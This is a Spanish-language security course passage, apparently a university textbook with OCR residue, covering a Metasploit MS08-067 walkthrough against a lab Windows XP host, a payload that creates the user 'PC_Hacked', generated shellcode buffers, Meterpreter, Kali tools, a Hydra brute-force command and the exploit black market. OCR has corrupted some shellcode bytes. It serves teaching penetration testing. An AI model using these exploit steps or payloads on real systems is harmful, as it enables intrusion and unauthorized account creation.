incorpora este service pack y con la opcion Firewall desactivada.

Este ejemplo de exploits es el “windows/smb/s08-067_netapi”, que se dirige a
una vulnerabilidad de los servicios de Windows que puede permitir la ejecu-
cion remota de codigo y, por ejemplo, conseguir de forma remota el control
del sistema o crear un usuario de forma remota, tal y como se muestra en el

ejemplo siguiente.

Para abrir la consola de Metasploit hay que ejecutar el fichero console.bat, que

se encuentra en la carpeta donde se instala el software de Metasploit.

(4)Metasploit Framework: http://
www.rapid7.com/products/metas-
ploit/download.jsp.



http://www.rapid7.com/products/metasploit/download.jsp
http://www.rapid7.com/products/metasploit/download.jsp
http://www.rapid7.com/products/metasploit/download.jsp
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C:\metasploit>console_

La consola de Metasploit proporciona acceso a la linea de 6rdenes para el Me-
tasploit Framework. Se trata de una herramienta que permite desarrollar y eje-
cutar exploits contra una maquina remota.

@ Metasploit Pro Console - E3

File Edit View Help

Una de las posibilidades de la consola es la busca de exploits aplicando filtros.
En este ejemplo se buscan exploits sobre netapi.

msf > search netapi

Matching Modules

Name Disclosure Date Rank Description
auxiliary/scanner/smb/ms08_067_check normal MS08-067
Scanner

exploit/windows/smb/ms03_049 netapi 2003-11-11 00:00:00 UTC good Microsoft
Workstation Service NetAddAlternateComputerName Overflow

exploit/windows/smb/ms06_040_netapi 2006-08-08 00:00:00 UTC good Microsoft
Server Service NetpwPathCanonicalize Overflow

exploit/windows/smb/ms06_070_wkssvc 2006-11-14 00:00:00 UTC manual Microsoft
Workstation Service NetpManageIPCConnect Overflow

exploit/windows/smb/ms08_067_netapi  2008-10-28 00:00:00 UTC great Microsoft
Server Service Relative Path Stack

En este ejemplo se aplica al exploit “exploit/windows/smb/ms08_067_netapi”.

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit (ms08_067_netapi) >

En este punto se pueden observar las opciones que proporciona el exploit.
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msf exploit (ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi) :

Name Current Setting Required Description
RHOST yes The target address
RPORT 445 yes Set the SMB service port

Hay que fijarse en que el pardmetro RHOST no tiene valor. En este punto hay
que saber el valor del IP de la mdquina remota; como se puede observar en
este caso, el IP es 192.168.1.19.

Papelera de

reciclaje e C:\WINDOWS\system32\cmd.exe

i soft Windows XP [U n 5.1.26001]
(F) Copyright 1985-2001 M osoft Corp.

\Documents and Settings\PC_User>ipcongig
ongig"” no se reconoce como un comando interno o externo.
programa o archivo por lotes ejecutabhle.
IC:\Docune and Settings\PC_User>ipconfig

Configuracidén IP de Windows

fdaptador Ethernet Conexidn de Area local

Sufijo de conexidn especifica DNS : home
Direccidén IP. . “ e e e o= o= o« = = 192.168.1.19
Miscara de subred . - . =25 »5.255.0
Puerta de enlace

C:\Documents and Settings\PC_User>

e CAWINDOWS\syste. ..

A continuacién observaremos los usuarios de este ordenador; como se puede
ver, los usuarios son “PC_User”, “Administrador” y otras cuentas creadas por
defecto por el propio Windows XP.
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LI Administracidn de equipos
. g Archivo  Accion Ver Ventana Ayuda

«» AW RER @E

(=) Administracién del equipo (local) A || Nombre Nombre completo Descripeién

= ﬂ Herramientas del sistema mpc User PC User
* L@ Visor de sucesos anvitado Cuenta para acceso como invitado al|

- 5 Carpetas compartidas mAdrninistrador Cuenta para la administracion del eq. FS=

Usuarios locales y grupo:
3 Usuarios
(] Grupos

® Reqgistros y alertas de re

g Administrador de disposil

=] S Almacenamiento

# Q Medios de almacenamien v
< >

=
= mAsistente de ... Cuentade asistente de A.., Cuenta para proporcionar asistencia, |

QSUPPORTJS, .. CN=Microsoft Corporation... Esta es una cuenta de proveedor de.

-TI; Inicio O administracién de eq. ..

Ahora, en la méquina local, donde se esta ejecutando la consola de Metasploit,
se puede indicar el valor de RHOST, es decir, el IP del ordenador remoto, que
es 192.168.1.19; posteriormente se puede comprobar el valor del RHOST.

msf exploit (ms08_067_netapi) > set rhost 192.168.1.19
rhost => 192.168.1.19

msf exploit (ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067 netapi) :

Name Current Setting Required Description

RHOST 192.168.1.19 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Mostrar la lista de payloads disponibles.
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Compatible Payloads

generic/debug_trap

Name Rank

msf exploit (ms08_067_netapi) > show payloads advanced

Description

generic/custom normal Custom Payload
normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell,

generic/shell_reverse_tcp normal Generic Command Shell,

Bind TCP Inline

Reverse TCP Inline

En este ejemplo se utilizara el payload “windows/adduser”, que creara un usua-

rio en la maquina remota.

payload => windows/adduser

Payload options (windows/adduser):

Name Current Setting Required
CUSTOM no
EXITFUNC thread yes
PASS Metasploit$l yes

msf exploit (ms08_067_netapi) > set payload windows/adduser

msf exploit (ms08_067_netapi) > show options

Description

Custom group name to be used instead of default

Exit technique (accepted:seh,thread, process,none)

The password for this user

Se puede observar que algunos de los pardmetros de este payload son user y

pass.

A continuacién se asignan los valores a estos parametros:

user => PC_Hacked

pass => 123!Hack

Payload options (windows/adduser):

Name Current Setting Required
CUSTOM no
EXITFUNC thread yes

PASS 123!Hack yes

msf exploit (ms08_067_netapi) > set user PC_Hacked

msf exploit (ms08_067_netapi) > set pass 123!'Hack

msf exploit (ms08_067_netapi) > show options

Description

Custom group name to be used instead of default

Exit technique (accepted:seh, thread, process,none)

The password for this user
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El siguiente paso es ejecutar el exploit, que creard un usuario en la maquina

remota con el nombre de usuario “PC_Hacked” y la contrasefia “123!Hack”.

msf exploit (ms08_067_netapi)

> exploit

[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)

[*] Attempting to trigger the vulnerability...

En la pantalla siguiente se puede comprobar que se ha creado un usuario en

la maquina remota.

O Administracién de equipos
Q Archivo  Accin  Ver  Ventana
& - H BB @E

g Administracion del equipo (local) &
=] E Herramientas del sistema
£} Lﬁ' Visor de sucesos
[ Carpetas compartidas
=) g Usuarios locales y grupo:
‘N Usuarios
D Grupos
+ Reqistros y alertas de re
g Administrador de disposil
= @ Almacenamiento
i+ @ Medios de almacenamien s

< >

Ayuda

Nombre
&GrC_Hacked
&ec_user
B Invitado
g&dmmlstrador

HAsistente de ...
B sUPPORT_38...

Nombre completo

PC_User

Cuenta de asistente de A...
CN=Microsoft Corporation...

Descripcion

Cuenta para acceso como invitado al,|
Cuenta para la administracién del eq.
Cuenta para proporcionar asistencia,
Esta es una cuenta de proveedor de.

1 -’;"EIO LI administracién de eq. ..

6.3.2. Meterpreter

Es @)% 21:11

El Meterpreter es un payload que permite realizar una serie de acciones en el

sistema atacado. Se trata de una biblioteca de enlaces dinamicos (.dll) especial-

mente creada para la automatizacion de scripts, que se inyecta en la memoria

del sistema vulnerado. Por ejemplo, permite cargar y descargar archivos desde

el sistema atacado, realizar capturas de pantalla, recoger los hashes de contra-

sefias, tomar el control de la pantalla, el ratén y el teclado para controlar com-

pletamente el equipo e incluso activar la cdimara web de un ordenador portatil.
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6.3.3. Generacion de payloads

A pesar de que en el ejemplo anterior no ha sido necesario, la consola también
permite generar el codigo del payload y asi poder observar el codigo que el
exploit ha inyectado.

Para generar el payload, en primer lugar se tiene que escoger cudl es el que
se quiere generar “uso payload/windows/adduser”, asignarle valores a los

parametros y posteriormente generarlo a través de la instruccién “generate”.

msf > use payload/windows/adduser

msf payload(adduser) > set user PC_Hacked

user => PC_Hacked

msf payload(adduser) > set pass 123!Hack

pass => 123!Hack

msf payload(adduser) > generate

# windows/adduser - 283 bytes

# http://www.metasploit.com

# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,

# USER=PC_Hacked, PASS=123!Hack, CUSTOM=, WMIC=false,

# COMPLEXITY=true

buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\x£4\x03\x7d" +
"\x£8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e\x65" +
"\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72" +
"\x20\x50\x43\x5f\x48\x61\x63\x6b\x65\x64\x20\x31\x32\x33" +
"\x21\x48\x61\x63\x6b\x20\x2f\x41\x44\x44\x20\x26\x26\x20" +
"\x6e\x65\x74\x20\x6c\x6£\x63\x61\x6c\x67\x72\x6£\x75\x70" +
"\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6£\x72" +
"\x73\x20\x50\x43\x5f\x48\x61\x63\x6b\x65\x64\x20\x2f\x41" +

"\x44\x44\x00"
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6.3.4. Msfgui.exe: Interfaz grafica

El programa msfgui.exe® es un programa que ofrece una interfaz grafica, que
permite realizar las tareas que se pueden hacer con la consola de Metasploit
Framework de una forma mas agil.

En este ejemplo se muestra como buscar el exploit ms03_026_dcom.

@ msfgui - o iEd
File View |Exploits Auxiliary Payloads History Post-Exploit Console Database Plugins Help
Jobs | Sess aix ¥ || Services | Vulns | Notes | Loots | Creds | Events | console 0

android *

apple_ios *

bsdi 4

dialup 4

firefox *

freebsd *

hpux 4

irix 4

linux 4

multi 4

netware *

o0sx »
pro 4
solaris 4
unix ’
windows ! antivirus 4
arkeia 4
backdoor 4
backupexec *
brightstor  *
browser 4
dcerpc ) ms03_026_dcom
driver ) ms05_017_msmgq
email | ms07_029_msdns_zonename
emc ) ms07_065_msmq

fileformat *

Una vez se selecciona el exploit, se muestra una ventana con la informacién
del exploit, sus identificadores en varias bases de datos publicas de exploits, el
software que puede atacar, y una lista de los payloads que puede aplicar. Una
vez escogido el software de destino al que se quiere atacar y el payload, se
muestran los parametros del payload. En este ejemplo se ha escogido el payload
exec.

(S)Msfgui: https://

www.scriptjunkie.us/msfgui/.



https://www.scriptjunkie.us/msfgui/
https://www.scriptjunkie.us/msfgui/
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] Microsoft RPC DCOM Interface Overflow windows/dcerpc/ms03_026_dcom = o

Microsoft RPC DCOM Interface Overflow

Rank: Great

Description This module exploits a stack buffer overflow in the RPCSS service, this vulnerability was originally
found by the Last Stage of Delirium research group and has been widely exploited ever since. This module can
exploit the English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in
one request 3)

References:

CVE: 2003-0352

OSVDB: 2100

MSB: MS03-026

BID: 8205

Authors: hdm , spoonm , cazz
License: Metasploit Framework License (BSD)
Version: null

Targets

(® Windows NT SP3-6a/2000/XP/2003 Universal

windows

vndnject

upexec
speak_pwned
shell_reverse_tcp
shell_bind_tcp_xpfw
shell_bind_tcp

shell
patchupmeterpreter
patchupdlinject
metsvc_reverse_tcp
metsve_bind_tcp
meterpreter
messagebox
loadlibrary
download_exec
dns_txt_query_exec

-8

-85

LR B B B ok I R

Required
CMD The command string to execute
RPORT The target port

135
RHOST The target address

EXITFUNC Exit technique (accepted: seh, thread, process, none)
process

Run exploit || Runin Console

A

En la barra de ment estd la opcion de escoger un payload; una vez escogido,

se puede generar con €l el codigo correspondiente.
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] Windows Execute Command windows/exec

o

Windows Execute Command

Rank: Normal
Description Execute an arbitrary command

Authors: viad902 , sf

License: Metasploit Framework License (BSD)

Version: null

CMD The command string to execute CALC
PrependMigrate Spawns and runs shellcode in new process O
VERBOSE Enable detailed status messages O
WORKSPACE Specify the workspace for this module default

PrependMigrateProc Process to spawn and run shellcode in

EXITFUNC Exit technique (accepted: seh, thread, process, none) |process

) display (©) encode/save Start handler

Start handler in console

ruby
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"+
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"+
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xf£"+
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"+
"\xcf\x0d\x01\xc7\xe2\x£0\x52\x57\x8b\x52"+
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"+
"\xc0\x74\x42\x01\xd0\x50\x8b\x48\x18\x8b"+
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"+
"\x01\xd6\x31\ x££\ x31\xc0\xac\xcl\xcf\x0d"+
"\x01\xc7\x38\xe0\x75\x£4\x03\x7d\x£8\x3b"+
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"+
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"+
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"+
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"+
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"+
"\x00\x00\x50\x68\x31\x8b\x6£\x87\ x££\ xd5"+
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"+
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"+
"\x05\xbb\x47\x13\x72\x6£\x62\x00\x53\xff"+
"\xd5\x43\x41\x4c\x43\x00"

Payload windows/exec {CMD=CALC, Encoder=generic/none} 196 bytes.

6.3.5. Kali Linux

Kali Linux es una reconstruccién de BackTrack Linux, y es una distribucién
de Linux que se adhiere completamente a los estandares de desarrollo de De-
bian. Esta totalmente orientado para la realizacion de pruebas de penetracién

y auditorias de seguridad.

Se trata de un conjunto de herramientas para hacer evaluaciones, para tareas
de informatica forense y para hacer pruebas de penetracion: recopilacién de
informacién, identificacion de vulnerabilidades, explotacién y escalada de pri-

vilegios, etc.

A continuacion se muestran algunas de las opciones de menu de las utilidades

disponibles en esta herramienta:
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Applications Places f B3 Wed Apr23, 6:03 PM
i Accessories Click to view your appointments and tasks
#0 Etectronics
B Graphics
@ Hamradio
Q/ Internet

Office >
bl offic Q Information Gathering

f Prog N b4
rogramming QU Vulnerability Analysis
So & Video > m
B sound & vide ot Web Applications

em Tools >
tem Tool o« Password Attacks

@ Universal Access >

&3 Other

g’ Wireless Attacks
Exploitation Tools BeEF XSS Framework
> %# Cisco Attacks

Maintaining Access > %# Exploit Database

&
€= Reverse Engineering > % Exploit Development T

ess Testing > & Metasploit
K1 Hardware Hacking > ## Network Exploitation

V% Forensics > %& Social Engineering Toolkit

Reporting Tools

T system Services

Applications Places Wed Apr 23, 6:05PM
i Accessories Click to view your appointments and tasks
#0 Etectronics
B Graphics
@ Hamradio
Q/ Internet

Office >
bl offic Q Information Gathering

f Prog N b4
rogramming U Vulnerability Analysis \\ darkstat
darksta
B9 sound & Video > ®
g Soun e Web Applications N, dnschef
nsche!
System Tools >
em foe " Password Attacks N ¢ .
dnsspoo
@ Universal Access >

g’ Wireless Attacks

S

N dsniff

% Exploitation Tools \ ettercap-graphical
Sniffing/Spoofing \

hexinject
N

"\, mailsnarf
> \ msgsnarf
’ \ netsniff-ng

'\, passive_discoverys
" responder

N\ sstsniff
'\ tepflow
'\ urlsnarf
'\, webmitm
'\, webspy
'\, wireshark

&5 Other >

Maintaining Access

€= Reverse Engineering >

% Stress Testing >

L Hardware Hacking >

Forensics

Reporting Tools

System Services
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Applications  Places @ (2] Wed Apr 23, 5:53 PM
B Accessories

#0 Etectronics

B Graphics

@8 Hamradio

w Internet

Off
el office ? Q Information Gathering

{ Programming >
’ ' U Vulnerability Analysis
B sound & video

~
\ acccheck

P B
Web A % e
oty V pplicat: \ burpsuit

Password Att. / GPU Tools > -\\
cewl

& Wireless Attack > / Offline Attacks

¥4 Exploitation Tools

ke
b

System Tools

@ Universal Access

&5 Other >

cisco-auditing-to

Online Attacks \ dbpwaudit

Sniffing/Spoof > P H >
Sniffing/Spoofing /’ assing the Hash \imdm,ham

\h,dm

Maintaining Access

"
&

€= Reverse Engineering N
- - hydra-gtk
Stress Testing N feimp
K Hardware Hacking >

N, medusa
W ncrack
R

% Forensics

Reporting Tools

T system Services

N

\ patator
N

\ phrasendrescher
N

\ thc-pptp-bruter
N

" webscarab

6.3.6. Kali Linux / Password Attacks / Online Attacks / hydra-
gtk

Hydra es una herramienta de descifrado de contrasefias que se puede utilizar
en muchos servicios haciendo uso del método “fuerza bruta” para averiguar la
contrasefia de inicio de sesién a partir de una lista de palabras.
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shydra ——

Quit

Target

@ Single Target 127.0.0.1 ]

O Target List [ l

[J Prefer IPV6

Port o |
Protocol [afp M

(Output Options

D)

[J Use SSL [J Be Verbose

[] Show Attempts [] Debug

hydra -l yourname -p yourpass -t 16 127.0.0.1 afp
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7. El mercado de los exploits

7.1. Mercado negro de exploits

The New York Times (2013). “Nations Buying as Hackers Sell Flaws in Computer Code”

Los hackers Luigi Auriemma y Donato Ferrante vendieron detalles técnicos sobre vul-
nerabilidades a los paises que querian entrar en los sistemas informaéticos de adver-
sarios extranjeros.

How spies, hackers, and the government bolster a booming software exploit market

El experto en seguridad con sede en Bangkok denominado "el grugq" supuestamente
vendi6 un exploit de “dia-cero” (cero-day) del sistema operativo iOS por 250.000 d6-
lares como intermediario, el grugq gané 37.500 délares en concepto de comision.

En el 2011, Wikileaks revel6 que la empresa de seguridad Endgame Systems vendi6
paquetes de 25 exploits de dia-cero para clientes, principalmente contratistas del Go-
bierno estadounidenses, por un valor de 2,5 millones de délares al afio.

Hackers Selling Vista Zero-Day Exploit

En el ano 2006, analistas de la compariia Trend-Micro se infiltraron en el mundo
underground de las redes hacker y detectaron la venta de un exploit para Windows Vista
por 50.000 dolares.

Enlaces recomendados

Computer  Code:  http://www.nytimes.com/2013/07/14/world/europe/nations-bu-
ying-as-hackers-sell-computer-flaws.html?_r=0

How spies, hackers, and the government bolster a booming software exploit
market: http://www.fastcompany.com/3009156/the-code-war/how-spies-hackers-and-
the-government-bolster-a-booming-software-exploit-market

Exploit

Hackers Selling Vista Zero-Day Exploit: http://www.eweek.com/c/a/Security/Hac-
kers-Selling-Vista-ZeroDay-Exploit/

Hacker Offers to Sell Vista Zero-Day Exploit: http://news.techworld.com/secu-
rity/7633/hacker-offers-to-sell-vista-zero-day-exploit/
Se tiene que tener en cuenta que, actualmente, la importancia de la habilidad

y la sofisticacién del atacante han disminuido.

Hay empresas que ofrecen acceso a herramientas de generacién de cédigo de
explotacion de vulnerabilidades conocidas; también las hay que ofrecen he-
rramientas de analisis de vulnerabilidades basadas en desensambladura, inge-
nieria inversa, andlisis de protocolos y auditoria de cédigo (ExploitHub, Secu-
nia, Vupen, ...); ademas hay disponibles frameworks open source y comerciales
para la explotacién y busca de vulnerabilidades, pruebas de penetracion y rea-
lizacion de auditorias de seguridad (Canvas, Corelmpact, Exploit, kaly Linux ).

Lectura recomendada

The Rise of Vulnerabi-

lity Markets - History,

Impacts, Mitigations:
https://www.owasp.org/
images/b/b7/
OWASP_BeNeLux_Day_2011_-
_T. Zoller_-_ Rise_of the_
Vulnerability Market.pdf



http://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html?_r=0
http://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html?_r=0
http://www.fastcompany.com/3009156/the-code-war/how-spies-hackers-and-the-government-bolster-a-booming-software-exploit-market
http://www.fastcompany.com/3009156/the-code-war/how-spies-hackers-and-the-government-bolster-a-booming-software-exploit-market
http://www.eweek.com/c/a/Security/Hackers-Selling-Vista-ZeroDay-Exploit/
http://www.eweek.com/c/a/Security/Hackers-Selling-Vista-ZeroDay-Exploit/
http://news.techworld.com/security/7633/hacker-offers-to-sell-vista-zero-day-exploit/
http://news.techworld.com/security/7633/hacker-offers-to-sell-vista-zero-day-exploit/
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En un sentido positivo, todos estos entornos, herramientas y utilidades estan
destinados a la auditoria y comprobacion del nivel de seguridad en una orga-
nizacioén, red, software y sistemas operativos, es decir, al sistema general en
funcionamiento, por lo tanto, a produccion, asi como a herramientas de test
para software y sistemas en desarrollo. Pero se tiene que tener en cuenta que
estas herramientas son un arma de doble filo, pues también pueden ser utili-
zadas por los hackers con el fin de aprovechar las vulnerabilidades para atacar
los sistemas de las tecnologias de la informacién y comunicacién con finali-
dades maliciosas.

Por otro lado, existen foros y amplia informacién disponible para tomar las
medidas de seguridad adecuadas. Sin embrago, los hackers también disponen
de foros y amplia informacién de cémo realizar los ataques a los sistemas,
incluso se pueden encontrar en el Youtube videos de como realizar ataques,
paso a paso, utilizando herramientas disponibles al alcance de todo el mundo.

Todo ello indica que intentar encontrar vulnerabilidades en los sistemas es
una actividad lucrativa, y que nadie esta excluido de ser atacado; incluso un
simple usuario de Internet, supuestamente sin un gran interés para ser atacado,
puede ser atacado con el fin de intentar obtener sus nameros de Visa, cookies,
contrasefias y cualquier tipo de informacién util, para intentar obtener un

beneficio en mayor o menor medida desde el punto de vista del hacker.
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